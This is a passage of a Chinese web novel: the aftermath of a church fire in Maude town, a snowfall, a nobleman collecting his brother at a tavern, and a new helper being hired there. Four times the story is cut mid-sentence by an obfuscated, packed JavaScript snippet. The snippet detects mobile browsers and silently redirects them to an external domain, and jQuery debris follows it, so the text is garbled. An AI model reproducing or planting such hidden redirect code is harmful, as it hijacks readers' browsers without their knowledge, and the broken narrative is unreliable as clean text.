“所有人都停下来，看着这场大火。我们已经没有什么可以做的，只好向伟大的安布罗斯祈祷。但也许大部分人什么也没有做，他们还在震惊于彼得.莫德男爵所做的一切——后续我们发现，这一切的证据确凿，之后的那段时间不断有赶来的异乡人认领自己亲人或朋友的遗物，然后痛哭流涕地离开，或是到烧得焦黑坍塌的教堂后面对着这位''火胡子''男爵的墓地吐上几口唾沫。 我们甚至救出了几个还活着的异乡人，他们真是非常幸运，其中一个姑娘甚至被敲断了胳膊，还有很多人曾经目击到，他们被彼得.莫德男爵胁迫了很长一段时间，差点成为他犯下凶案的替罪羊。 但我还是感到痛苦。彼得.莫德男爵毕竟是我的老师，他给我的教导、那些亲切的态度，实在没有办法让我把他和那个疯子、那个杀人狂联系到一起。在很多次的午夜梦回中，我无数次回想起那个夜晚，他在火焰中大叫着，喊着些什么，全身都燃起火焰。 我想，也许他是故意那么做的，燃起火焰，吸引来那些几乎要造成灾难的蝴蝶，把它们和自己一同毁灭。即使他之前做了许多违背安布罗斯教义的事，但我还是愿意相信，在生命的最后一刻，他从疯狂中清醒，把镇上的所有人从蝴蝶的灾祸中拯救出来，也拯救了他自己。” 汉斯.威尔并不是一个多么伟大的人，即使是作为商人，他的成就也远比不上那些在行业里赫赫有名的同行。因此，这本回忆录原本没有在市场上溅起多少水花。 但就在这本回忆录出版不久后，他就因为涉嫌学术造假和协助谋杀被立案调查，回忆录也随之被作为证据下架，意外地成为了绝版孤品。那次案件是“白鸢尾”侦探社和警方的一次重要合作，在后世的历史书里，此次案件被誉为私人侦探社转向阿尔伯恩国秘密部门的转折点——因此，这本回忆录反而成为了人们争抢的对象，它的手稿在此案约五十年后的某场拍卖会上被拍出了天价，此后一直在某个富豪家族的保险柜里。它的内容更是经过了无数解读和阴谋论的洗礼， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14900658|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 直到一百多年以后还在被当作“谜案”讨论。 有人甚至说，这也许和那位女士，“死亡海峡”的征服者，大航海时代最后的余晖，四大海域的无冕之王，伟大的航海家——有关，有传闻说她在年轻的时候正到达过那里，也许是什么她本人也不想开口的秘辛。 当然，这都是后话了。 时间回到莫德镇教堂起火的当夜，卡里斯托站在萨拉背后，慢悠悠地说：“我刚想告诉你——蝴蝶不会来了。” 他伸长了脖子，往窗外望了一眼。 “他们的动作还真快，我以为还要再等一会呢……看来爱丽丝女士的符文研究确实非常有效。” 萨拉缓缓地从窗口转过身来，细瘦的手指还死死地扣着窗焰。 “你们……”她的胸腔里几乎发出一阵“嘶嘶”声，声音到最后近似尖叫，“你们都做了些什么？” “如你所见，解决这里的问题。”卡里斯托说，“这种蝴蝶和蛾子一样有趋光性，现在又是晚上，没有比那座教堂更亮的地方了。” 他似乎是歪头思考了一下，然后“恍然大悟”地扬起眉毛：“哦，你也可以考虑把这里点了，说不定蝴蝶会回来呢？” “哈，原来你也会说这种话。”萨拉几乎是在狠狠地磨着后槽牙，“你们说好的？都是为了让我承认，这一切都是我做的，然后你们好全身而退？” “准确来说，你承不承认都无关紧要。”卡里斯托说，“我是来杀你的，记得吗？” “哈哈……”萨拉又笑了几声，她完全转过身来，搭在窗沿上的手似乎已经支撑不住身体的重量，只能缓缓地随着身体滑下去，一直滑到地板上。 “那么动手吧，卡尔。”她说，侧过脸去，额头靠着窗沿，“我已经没什么要做的……我还能做什么呢。” “动手吧，你们赢了。” 卡里斯托却没有理会这句话，他走到床边，托起老人灰白的尸体，把它扛到自己肩上，轻松地像扛一只枕头。 “在我来这里之前，拉维妮娅小姐拜托了我一件事。”他说，“如果你已经动手了——你十有八九已经动手了，那就带走他的尸体。” “彼得.莫德的尸体，没有人找到，这是个绝佳的机会，让''彼得.莫德''死在这场大火里。” “你错了，我们没打算让你做这一切的''罪魁祸首''——如果你的确不是。” “现在，你还有机会，还能给你恨的彼得.莫德耻辱的棺材板上钉上最后一根钉子。” “你要不要和我一起来？” 萨拉看着他，许久，用胳膊撑着墙壁，重新站起来。 “走吧。”她说，走小路，别碰上其他人。” “现在一定有不少人在教堂旁边，我不知道拉维妮娅小姐和她的同伴们现在在哪，但我们得真的到教堂里面去，这样才有说服力。” 41. 第 41 章 “那么，我有最后一个问题。”卡里斯托说。 “什么？” “关于你的哥哥山姆。你真的杀了他，把他做成肉汤了？” “……没有。”萨拉低下头，匆匆地打开旅馆的后门，后院里有一滩已经干涸的血迹，沾着蝴蝶的翅膀和几缕卷曲的白色毛发。 “我把他今年新买的羊羔杀了，它还没有发育，几乎没有膻味。根本闻不出来是羊肉，对吧？” “——不过我告诉他，我把父亲杀了，让他好好尝尝味道。接着他就疯了似的冲出去了，也不知道现在在哪。” “满意你听到的吗？我们走吧。” 她也许是真的想杀了他的。那种恨意在给他端去肉汤时尤为强烈，在欺骗他肉汤不对劲时，她甚至有一种难以言喻的快意。只差最后一步，蝴蝶就要来了，哪怕她亲自动手也没有关系。 但她总是想起小时候，哥哥帮她赶跑那些顽劣的男孩，或是在她摔倒时把她背起来，一瘸一拐地背着她回家。 火焰还在烧着，仿佛烧尽了一切。 …… 在一切尘埃落定时，几乎没有人在救火了，镇民们在教堂的周围祈祷，脸孔被火光映得通红，仿佛面对的不是一座教堂，而是燃烧着的幽魂。 卡里斯托站在浑身瘫软的门房身边，脸上还带着火焰燎过的痕迹，紫眼睛死死地盯着火焰中心跳动的金色光芒，一眨不眨地，似乎这场火一直烧到了他的瞳孔深处。 蝴蝶还在向火焰里扑去，它们已经没有剩下多少，都和那只巨大的同类一样，在火焰里变成一团焦黑的灰烬。 这场火烧了许久，久到当人们看到那映满天空的火光，恍惚间觉得自己看到了火红色的朝霞。 但朝霞并没有降临——并不是说火实际上没有烧到那么久，天确实是渐渐亮起来了，但它不过是从夜晚的黑色逐渐变亮，知道天空被一种明亮的灰白色占据，云层给了天空一种低垂的、毛茸茸的质感，像是温暖地俯视着大地上这火红的一点。 过了一会，天空中似乎出现了更明亮的东西，它们比云层更白，在云层下闪着细碎的光芒，飘飘悠悠地，如蝶群一般飞落下来。 一小块闪亮的白色碎片轻巧地落到拉维妮娅的额头上，转瞬之间就化成了几滴冰冷的水。 “是雪。”艾希莉伸出手，让几片柔软的莹白色冰晶落进手里，“下雪了！” 确实是下雪了。汉斯.威尔在他的回忆录里记叙到：“那是莫德镇当年冬天的第一场雪，它毫无预兆地开始，雪花在转瞬之间就密布了整个天空。之前我们竭尽全力也无法扑灭的大火，在这场雪开始的不一会，遍渐渐熄灭了。” 从天空中飞下的雪花有如白色的精灵，飞翔着，舞蹈着，跃过教堂的每一个角落、每一簇火苗，用它们寒冷的轻吻，让这座剧烈燃烧着的建筑逐渐冷静下来，终于不再向外辐射着暗红色的光芒。 教堂不再发光了，它逐渐显露出它原来的样子——或者，已经不能称它为原来的样子了，它已经在大火里腐败、坍塌，只剩下焦黑的骨架。 雪还在下，教堂的黑色骨架也渐渐看不见了，闪着光的雪花覆盖了它，给它裹上了一层温暖的银白色皮毛，使得这头死去的巨兽在光芒飞舞间变成了另一种样子。它现在看起来温和、驯顺，在风与雪的伟力下，仿佛真的闪烁着某种圣洁的光芒。 教堂高耸的尖顶已经倒塌，斜着歪在一边，顶上的双瞳神目标志也不知所踪。它们大概是一起被这片莹白色覆盖了，在纷纷扬扬的雪幕间，恍若一只振翅欲飞的白色蝴蝶。 有几个人冲进教堂的中心去，想要找到彼得.莫德的尸体。萨拉跟了上去，似乎是要确认些什么，或是准备再说些什么。 更多的人选择离开教堂，回到自己的家里去。镇上房子的屋顶此时和教堂一样，呈现出一种柔软的、平整的雪白，在经历了蝴蝶爬满房顶的诡异景象后，这种白色显得那样安静祥和，如同一种昭示，宣告着一个安宁的崭新季节已经来临。 这也意味着，售卖花卉的季节结束了，人们得开始思考，用什么样的办法度过这个冬天。 好在，他们不是第一次开始思考，他们总会找出办法的。 人们这么相信着，思考着，不再有暇顾及意外死去的神父和男爵，也不再有兴趣关心那些幸运的、以及那些不幸的异乡人。 “我们该走了。”杰拉尔德说，“在雪下得太大、把马车的轮子冻住之前，我们最好能早点回到石碑镇。” “好的……没问题，洛佩兹……杰拉尔德先生。”拉斐尔在风雪里打了个寒噤——他的外套正包裹着怀里的那沓手稿，好使它免受火焰和雪水的侵袭。 艾希莉的罩裙看起来也不怎么保暖，她环抱着自己的胳膊，金色的脑袋点了一连串的头，小跑着追上她的表哥，向镇子的另一边，他们来时的方向走去。 杰拉尔德走在最后，经过拉维妮娅身边时，他有些奇怪地偏了偏头，在她的肩膀上轻轻拍了一下。 “嘿，我们要走了，下垂眼小姐。”他说，“你还在磨蹭些什么？” “看看那儿。”拉维妮娅微微抬起下巴，示意杰拉尔德视线的方向。 卡里斯托还站在教堂的废墟前，他既没有准备走进教堂，也没有离开的意思，只是像块石碑一样，直直地杵在那里，直到肩膀和头顶都落满了轻柔的薄雪。 “怎么了？” “他看起来好像很难过。”拉维妮娅眯起眼睛说，“我不知道怎么说……那又好像不止是难过。” “对他来说，这两天他失去的东西太多了。”杰拉尔德说，“他肯定需要一段时间适应，不论是亲人的离去，还是他今后要去哪里。” 他像是想起了什么，轻轻叹了口气。 “相信我，拉维，那不是一小会就能想明白的事。” “是啊。”拉维妮娅轻声说，“我想你说得对。” “是吗？很荣幸——那你还站在这里做什么？” “我在想……”拉维妮娅说，“萨拉是不是说过，彼得.莫德之所以能收养勒托，是因为他们都是孤儿？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14903270|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “好像是吧，怎么了？” “既然是这样，那他不用留在莫德镇也可以。”拉维妮娅转过头，看向杰拉尔德，“阿诺德不是说，他最近正好缺个帮工吗？” …… 他们的马车重新驶进石碑镇，已经是两天之后。 马车歪歪斜斜地在镇上的小路行进着，马蹄踏过已经融化过一次的雪，这些雪水在泥泞的道路上结上了一层薄冰，连带着马匹和车轮都直打滑。 杰拉尔德不得不从车上跳下来，走到马车的一边，用手扯着一匹马的笼头向前走，免得马车失去控制，撞到谁的房子上。 这也让他的鞋帮和防风斗篷的后摆都沾满了冰冷的泥水，在还没走到安全屋酒馆都门口的时候，就已经开始大声喊起来。 “阿诺德！米拉！”他喊道，“谁都好，来帮帮我，我真的要拖不动两匹马了，好吗？” 米拉很快出现在酒馆门口，像是松了口气似的，飞快地向他们跑来。 只是她的表情看上去十分纠结，实在不像是终于见到他们的放松。 “怎么只有你？拉维呢？”她皱着眉头问，“等等……拉斐尔呢？他的……” “我还以为你看见我们会更高兴一点呢。”杰拉尔德扬起眉毛，“出什么事了？” “别提了，快让那位小少爷先出来。”米拉深深地叹了口气，“虽然我们也不是很在意那家伙是谁……但他要是再在酒馆里待下去，我们的生意就别做了。” “米拉小姐，真高兴你还关心我。”拉斐尔掀开马车前方的门帘，探出半个身子，“我很好，就是拉维妮娅小姐……” “我的天呐，拉维！”米拉瞪大了她的浅色眼睛，拨开挡在她视线前方的两位男士，一只脚蹬住马车的边沿，几乎是钻进了马车里。 “你的手是怎么回事？”她皱着眉头说，“你才出门几天，到底是怎么搞成这样的？” “这是个意外，米拉，我发誓。”拉维妮娅发誓她说的是真话，但即使如此，在米拉直白的担忧目光下，她还是心虚地摸了摸鼻子，“我也不想这样的，你听我……” “先下来，让我看看你的手。”米拉跳回到马车边，“需要我扶你下来吗？……好吧。” 她用一只手扶住拉维妮娅的胳膊，借着午后的日光仔细看了看，又捏了捏她那只没上夹板的胳膊。 “看起来没什么问题。”她微微叹了口气，“但一会我要用点工具再检查一下——说真的，拉维小姐，你要是一出门就受这样的伤，我们可真的要考虑给你禁足了。” “好啦，好啦，谢谢你，米拉。”拉维妮娅用还能动的那只手拍了拍米拉的后背，“这真的是个意外，我保证。” “好吧，你们究竟遇到什么事了？” “那可就……” “等等，这个一会再说。”米拉猛地转过头来，看向刚刚爬下马车的拉斐尔。 “你得赶快进去，拉斐尔。”她说，“有个自称是你哥哥的男人昨天就来了酒馆，已经在里面坐了快一天了。” 42. 第 42 章 直到走进安全屋酒馆，杰拉尔德才理解，米拉之前说的“做不了生意”究竟是怎么回事。 在酒馆的一侧的墙边，那面写着着“本店禁止斗殴”的牌子下边，站着好几个身材高大、打扮得像佣兵的家伙——说是打扮，是因为杰拉尔德能看出来，他们并不是真的佣兵。和佣兵比起来，他们看起来太过紧绷、太过训练有素了，双眼像能射出匕首似的，死死地盯着经过的每一个人——难怪米拉要抱怨，要是一直被这么盯着，就算是能在雇主面前吐口水的佣兵也没办法安稳地坐下来喝一口酒。 那么相应地，在他们身边的吧台旁，背对着大门，对这种行为视若无睹的男人，理所当然就是他们的雇主。 杰拉尔德的脸色又难看了一些。 这是一个标准的、该死的贵族。 拉斐尔在酒馆门口挪动着，磨磨蹭蹭地挑了一个离男人最远的角落站好，才缩着肩膀，小心翼翼地小声叫道：“下午好，尤金……呃，我是说，希望您一切安好……我最亲爱的哥哥？” 男人缓缓地转过身来，从酒馆一侧窗户透进的阳光有一小片落到他的脸上，刚刚踏进酒馆的几人这才勉强看清他的脸。 艾希莉说得没错，拉维妮娅想，他确实和拉斐尔非常相像。 他们有一样的棕褐色卷发，一样的灰眼睛，一样弧度柔和的鼻梁，和一样线条分明的下颌骨。 甚至连他们五官之间组合的距离、角度，都高度地一致，几乎可以说，只要没有严重的视力问题，任何人都能一眼看出他们之间明显的血缘关系。 但比起拉斐尔，他的眼睛看上去更冷，目光沉甸甸的，连带着眉眼都显得锐利几分。他的棕色卷发被一丝不苟地梳理好，拉维妮娅认出那差不多是贵族在一般场合里，最不容易出错的一种发型——礼貌、规矩，既不会过于正式，也不招摇，一般情况下不会冒犯到任何人。 他的衣服也是同样，即使布料可能贵到吓人，不论是花色还是裁剪形制都中规中矩，挑不出任何失礼的地方。 这其实看起来有些奇怪，因为他的五官和面部线条其实更具攻击性，也许是因为他年龄更大，双颊有些许凹陷，眉心也隐约有条皱纹——相同的位置，拉斐尔面容光洁，脸颊两侧还有点没褪去的婴儿肥，即使平常看起来挺像样子，那双灰眼睛瞪起来的时候总显得圆溜溜的，隐隐透出几分清澈的呆滞。 这种诡异的搭配让这个叫尤金的男人给拉维妮娅一种无法言喻的违和感，就像看见一柄用牛皮死死包裹的利器，那种刀刃试图割开皮毛的联想让她情不自禁地皱了皱眉头。 而男人的视线末端，他的弟弟，拉斐尔，还紧缩着脖子，抖得像个鹌鹑。 “对，对，对不起……哥……” 尤金看了他一会，叹了口气。 “拉斐尔，我还什么都没说呢。”他侧过身子，斜靠在吧台上，微微蹙起眉头。 这本该是个更有压迫力的表情，但拉维妮娅却觉得，他的眼神柔软下来，几乎是无奈地看着他的兄弟——在这样的表情下，他们反而看起来更加相像了。 “你们两个站得那么远干什么？”他眨了眨眼睛，几乎露出一个微笑来，“我既不是父亲，也不是瑞伊姨妈。你们先给我写信不就是为了这个吗？放松点，到这边来。” “你……您确定吗？”艾希莉此时正紧紧靠着拉斐尔，挤着他缩在酒馆的角落里，“您要先保证，呃，保证……” 她看起来有点卡壳了，蓝眼睛茫然地眨了一下。 “我是说，保证不要……” “不管那是什么，我保证。”尤金叹了口气，他似乎有些疲惫，伸手揉了揉眉心，“现在可以别站那么远了吗？我赶这么多天路过来，还在这个小酒馆等了半天，不是为了看你们俩表演在父母面前那一套的。” “好啦，我知道了……”拉斐尔嘟囔着，垂着头往吧台的方向走去，他的表妹抿着嘴跟在他后面。 “你听我说，尤金，其实我们……” “等等。”尤金微微抬了抬手，止住了拉斐尔的话，转头看向吧台后面的阿诺德——他还在擦他的玻璃杯，它们大概并不需要那么频繁的擦拭，他只不过是在排遣他有点烦躁的心情。 “亨特先生。”尤金向这位酒馆老板轻轻点了点头，“麻烦您把酒馆的其他客人请出去好吗？我希望有一个安静一些的环境——当然，今天的酒钱可以都记在我账上，我出双倍。” “随您高兴，先生。”阿诺德耸耸肩，换了一只玻璃杯捏在手上，“反正今天应该也没有其他客人了。需要替您把大门关上吗？好的……米拉？谢谢你。” 米拉反手拉上酒馆的大门，靠在门边，仰头望着吧台，懒洋洋地问：“需要我们都回避一下吗，这位先生？” “如果您方便的话……” “不，等等！”拉斐尔突然开口，身体不由自主地往前倾了一下，他坐着的椅子发出了一阵不妙的响声。 “等等……他们不用……我是说，他们是我的朋友。” 他的灰眼睛又有瞪圆的趋势：“我保证，他们不会做什么的。” 尤金的眉头又皱得更深了些。 这位年轻的家族继承人转动了一下视线，轻描淡写地扫过酒馆里的其他人，又回到他手里的酒杯上。 那是只玻璃杯，里面晃荡着半杯略微浑浊的棕色液体。尤金看着杯中的酒液在零星的阳光下回转的波光，沉默了一会。 就在拉维妮娅觉得他该开口拒绝拉斐尔的时候，出人意料地，他点了点头。 “好吧。”他说，“就让你的朋友们留下。” “现在，先回答我的问题，拉斐尔。” “你们这几天到哪里去了？脸上和身上的灰又是怎么回事？” “呃，我，我们……” 拉斐尔不由地又往后缩了缩，后背差点碰上他表妹的额头：“你知道的，我们没受伤，不是什么大事……” “我没问你这个。”尤金转动了一下手里的酒杯，“你们究竟去干什么了？还有，你手里用外套裹着的东西又是什么？” “我，我们，我们就是去隔壁镇玩了几天！”艾希莉几乎是闭上眼睛说，双手扶着拉斐尔的肩膀，几乎把她整个人藏到了他身后。 说完这句话后，她好像是连自己也一块说服 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14909691|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了，渐渐获得了自信，从拉斐尔身后探出半个脑袋来，大睁着那双澄澈的蓝眼睛，看向她更年长一些的那位表哥。 “对……对，就是这样！”她说，“然后拉斐尔就发现了一些书稿，取得主人的同意之后就带回来了，除此之外什么也没有！” 拉斐尔深深吸了一口气，几乎把头埋进抱着的书稿里。 尤金几乎是侧头看着他的弟弟。 “拉斐尔。” “……” “拉斐尔。” “好啦，好啦，我很抱歉！”拉斐尔猛地抬起头，头顶的一簇卷发滑稽地跳动了一下，“我承认，我们是碰到了点小问题……好吧也许不是那么小的问题……总之我们碰到了好多蝴蝶，还死了几个人，最重要的是彼得.莫德不是我以为的那种学者，他就是个……总之他算不上是个学者！做研究的是他的妻子，而这是她的最新研究，非常重要，我试验过，可行性很高，只要回到大学里进行简单的重复实验就能正式发表……” 他慢慢地停下来，瞪大眼睛看着他的兄长。 “您……你相信我的，对吧？” “我大概听明白了。”尤金长长地叹了口气，“继续拿着你的书稿吧，我对它们没意见。” 他微微低下头，直直地看向他的弟弟。 “我想说的是，拉斐尔，你有没有意识到，在格雷菲尔碰到那种事情之后，你之后就不该再在这种地方乱跑了？” “我……” “我记得我在回信里和你说过，耐心一点，等我的安排。” “我知道……” “更何况，你还带着艾希莉。她的情况更危险，要不是你们偶然碰上，瑞伊姨妈恐怕要花更多精力去寻找她的下落。” “你们究竟有没有意识到，这是个危险的地方，而你们已经能算得上成年人了，要对自己、对家人负责？” 拉斐尔这下彻底不说话了，他低着头，手指轻轻抚摸着衣物包裹着的书稿边缘，不知道在想些什么。 “这不是拉斐尔的错。”艾希莉从凳子上跳下来，“我们也没料到会碰到那种事，而且，要是我们不去的话，这些手稿也许就……” “这就是我刚才在说的问题，小姐。”尤金轻轻放下手里的酒杯，“在说大话之前，先考虑一下你自己的能力。” 他比拉斐尔还要高一些，低头盯着艾希莉时，带着些居高临下的阴沉。 “为什么你们没有料到？因为你们没有做好足够的准备，也没有能力去面对这种问题。” “你究竟有没有想过，作为你母亲唯一的孩子，你对她来说意味着什么？” “我……” “我猜你没想过，对吧？”尤金退后了一步，用一种难以辨认的复杂目光望着她，也望着他的兄弟。 “抱歉。”他又叹了口气，沉沉地垂下头。和之前的无奈不同，这一次他的声音听起来非常无力，“我今天有些情绪化了……这点我向你们道歉。” 他重新抬起头，又恢复了最开始那副矛盾的、沉重的样子。 “我不会再这么说了，打起精神来吧，我们该早点动身。” 43. 第 43 章 “你们放心。”他接着说，“这些事我不会告诉主动父亲和瑞伊姨妈。” “但是艾希莉，要是瑞伊姨妈问起来，她是不会相信你那套漏洞百出的谎话的，而我只会实话实说。” “还有你，拉斐尔，别和母亲提起这件事。她对此做不了什么，这样只会让她更担心。” 他转过头去，发现拉斐尔还坐在吧台旁边，发愣似的，一动不动。 “拉斐尔？”荷莫伍德的年轻继承人轻轻拍了拍弟弟的肩膀，“你还好吗？” 他叹了口气，不知道是今天第多少次。 “我刚才说得有些过头了，好吗？”他把手压在拉斐尔的肩膀上，这回多用了一些力气，“来吧，我未来的大学者，咱们该走了。” 他几乎是提着还呆滞在原地的拉斐尔站起身来，取下自己的外套，披在弟弟身上。 “走吧，别光顾着那些文献书稿了，也注意一下自己的身体。” 尤金推着拉斐尔向门口走了一段，回过身，对阿诺德轻轻点了点头：“感谢您这几天的招待，先生。” 他的目光又在室内划了一圈，似乎是意味深长地在拉维妮娅脸上多停留了一会。 “也谢谢你们。”他说。 米拉没怎么在意他的态度，反手拉开门栓：“欢迎您的下次光临，慢走不送……呃，我们是该这么说吗？” “你说得对。”阿诺德放下手里的杯子，似乎是思考了一下，“我们是不是从来没说过这种话来着？” “我们可以晚点再讨论这件事。”拉维妮娅说，转过头看向走到门边的几位贵族，“很高兴认识你们，我说真的。” “再会。” “我也是，拉维妮娅小姐。”拉斐尔似乎终于反应过来当下的情况，向他们微微躬身，“还有你，杰拉尔德先生。” 杰拉尔德含糊地应了一声。 艾希莉抿着嘴唇，一双蓝眼睛转了半天，终于下定决心似的，回过头，小跑到拉维妮娅面前，左看右看，给了她一个小心翼翼的拥抱。 “再见，拉维。”她说。“我也很高兴认识你……真的，我不是说崇拜什么的，你可以忘记那些话……我是说……真的，我真高兴认识你。” 在她絮絮叨叨的当口，拉斐尔背过身去，躲躲闪闪地看了米拉一眼。 “再会。”他说，看起来有点不好意思，“再会，米拉小姐。” 米拉似乎正在和阿诺德说些什么，用余光撇了他一眼，没有再理会他? 这样的告别很快就结束了，拉斐尔看上去有点伤感，也许是因为几乎没有人看起来伤感。 而在尤金和他的私人护卫们的马车消失在石碑镇道路的一端后，阿诺德从窗边绕回酒馆的大门前，重新插上门栓。 “好啦，孩子们。”他抱着胳膊说，“现在轮到你们回答问题了。” 拉维妮娅和杰拉尔德条件反射地抖了一下。 “别那么紧张。”他半倚在大门旁边的一张桌子旁，嘴里嘲笑般地“啧啧”了两声，“就你们这样，比起那两位少爷小姐也好不到哪去。” “我没有。”杰拉尔德面无表情地说，“是你刚才关门的动作太突然了。” “我还什么都没说呢，杰里。”阿诺德冲他露出一个揶揄的笑，“你这叫什么来着？……哦，不打自招。” 杰拉尔德的嘴角肉眼可见地抽动了一下。 “好啦，第一个问题。”阿诺德伸出一根手指，“拉维，你的胳膊是怎么回事？” “一个意外。”拉维妮娅干巴巴地说，“我保证。” “我不想听这个，姑娘。”阿诺德摇了摇那根手指，“这个意外是怎么发生的？” “这个嘛……就像拉斐尔说得那样？”拉维妮娅的眼神有些飘忽，“呃，我是说……那里到处都是蝴蝶，一只蝴蝶把我的右胳膊拧脱臼了……彼得.莫德的宅子里死了人，他好像完全疯掉了，打算也杀了我……后来我的左手也有点使不上力气了，我就让我的腿帮了它一下……可能不小心加重了一点伤势。” “那听起来和那位小少爷说的完全不一样。” “好啦，好啦！但差不多就是这样……我说，我们不能现在开始准备晚饭吗？有什么事晚饭之后再说吧，好吗？” “哦。”阿诺德看着她，点点头，“如果你不想……” “我饿了。”拉维妮娅面无表情地说。 “那听起来有点……” “我饿了。” “好吧，好吧。”阿诺德说，“那让我们跳到下一个问题——” 他没有多伸出一根手指，只是把手指指向了某个方向。 “这个男孩是谁？” 紫色眼睛的少年抬起头，像是突然间才出现在那里一样，对酒馆里的两位“大家长”点点头。 “哇哦，我刚才都没注意。”米拉的嘴里冒出了个谁也没听懂的词，从语气来看，拉维妮娅猜测那是句脏话，“他长得还真是……漂亮。” “好的，介于终于有人提到了。”拉维妮娅的表情明显像是松了口气，“这位是卡里斯托，我给酒馆找来的新帮工。” “哦。”阿诺德重新抱起胳膊，“你单方面决定的？” “当然不，我看起来是会强迫别人的样子吗？”拉维妮娅挑起一边眉毛，“你可以不用回答这句话——况且，我现在是在征求你们的意见。” “顺便一提。”杰拉尔德在一旁的桌子边坐下，懒洋洋地说，“这位先生现在孤家寡人，无家可归——只是顺便一提。” “好吧。”阿诺德眯起眼睛，“他能做些什么？” “亨利能做的他大概都行。”拉维妮娅耸耸肩——出于受伤的胳膊，她实际上只动了一边肩膀，这动作看起来有点滑稽，“相信我，彼得.莫德的那幢宅子上上下下就他一个佣人——而且他今年十九了，完全有能力决定自己想去哪。” “当然，你最好直接问他自己。” 阿诺德点点头。 “那么，小先生。”他说，“你是叫卡洛斯……” “卡里斯托。卡里斯托.福克纳。” “我会叫你卡尔。”阿诺德干脆地说，“那么，卡尔，听我说。我们这里之前的帮工一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14913744|159714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 般需要砍柴、烧水，帮米拉准备些酒馆的小菜，人多的时候帮忙看看柜台、传一下酒和菜碟。” 他停顿了一小会，微微侧过头，摩挲了一下自己的下巴——如同他被迫承诺的那样，那里还是平整的胡茬。 “让我想想还有什么……啊，最好能打扫一下厨房的卫生，给后院的蔬菜浇水，还有，如果你最后一个离开酒馆一楼，记得要锁门。” “还有什么吗，米拉？”阿诺德忽略了拉维妮娅“后院那些根本不能叫蔬菜”的嘟囔，“……嗯，大概就这些了，你觉得怎么样？” “我都可以。”卡里斯托说，“只有这些吗？不需要我打扫其他地方的卫生，或是准备三餐？” “……那我可没有料到。”短暂的沉默之后，阿诺德有点迟滞地说，“……你也会这些吗？做饭什么的？” “我觉得我现在很有必要问一个大家都关心的问题。”杰拉尔德像个教会学校学生似的举起一只手示意，“你的三明治做得怎么样？” “……我会做三明治。”卡里斯托歪了歪头，毫无波动的声调里甚至能勉强透出几分疑惑，“但我觉得三明治的味道都差不多……你们要尝尝看吗？” …… “说真的。”大约十分钟后，米拉沉着脸放下手里的三明治，“我感觉我被冒犯了。” “哦，我理解。”杰拉尔德咽下嘴里的三明治，“你只不过是在——宣泄你的情绪……嗷！” “再多说一句话，杰里。”米拉声音轻柔地说，“你以后就别想在这里喝到一口酒。“ “米拉。”拉维妮娅抬起头，真诚地望着她，嘴角还沾着些三明治的酱汁，“我觉得我们一定要雇佣他。呃，你知道……” “你也给我闭嘴，亲爱的拉维。” 有话直说的阿诺德先生没有加入他们的对话，他咽下最后一口三明治，大步走到卡里斯托身边，重重地拍了拍他的肩膀。 “你被雇佣了，年轻人。”他大声说，“你打算一周要多少工钱？让我想想，之前亨利的工钱是一周三先令，不过他干的大概没有你多，你的话……” “我不需要这些。”卡里斯托说，“给我一个能吃住的地方就行。” 阿诺德的手几乎是僵在了他的肩膀上。 “……别这样，年轻人，真的。”他艰难地说，“我真怕我会一不小心答应。” “我不在乎那些。”卡里斯托眨了眨眼，疑惑地说——大概是用上了他一般状况下语言能表达出情绪的全部，“我确实需要一个地方整理我的思绪，好好想想以前的事……和以后的事。拉维妮娅小姐给了我这个提议，我也刚好想离开莫德镇，所以我就来了——我本来也没考虑工钱的事。” “……” “阿诺德。”米拉慢悠悠地说，“你再不说话，我们就要高喊''答应他''了。” “提醒你一下，我们接近破产的问题还没有解决呢。” “……我们可以先吃晚饭。”阿诺德咬着牙说，“有什么事饭后再说吧。” “嘿！”拉维妮娅喊道，“这不就是我之前在说的吗！”